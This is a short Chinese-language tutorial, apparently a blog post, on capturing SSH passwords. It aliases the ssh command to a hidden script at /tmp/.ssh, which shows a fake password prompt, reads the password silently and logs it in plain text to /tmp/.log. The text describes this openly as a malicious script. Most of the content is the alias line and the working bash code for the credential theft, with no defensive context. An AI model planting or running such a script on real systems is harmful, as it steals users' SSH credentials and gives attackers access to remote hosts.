实现思路
当用户执行 ssh user@remotehost 时,实际上执行的是我的恶意脚本,负责将用户输入的密码存在本地,并传参给正常的SSH连接,实现抓取SSH密码的功能。
具体步骤
首先使用 alias 命令创建一个别名
这样当用户执行ssh时,执行的是指定的脚本
alias ssh="/tmp/.ssh"
当设置完别名后,仍可使用 /usr/bin/ssh 进行正常的SSH连接
测试一下
接下来观察正常的SSH连接会回显什么内容
那修改Shell脚本的回显,伪装成正常的SSH连接
#!/bin/bash
echo -e "${1}'s password: \c" #不换行输出
read -s pass #读取用户输入的内容,并赋值给变量pass
echo $pass >> /tmp/.log #将pass的内容输出到/tmp/.log中
再测试一下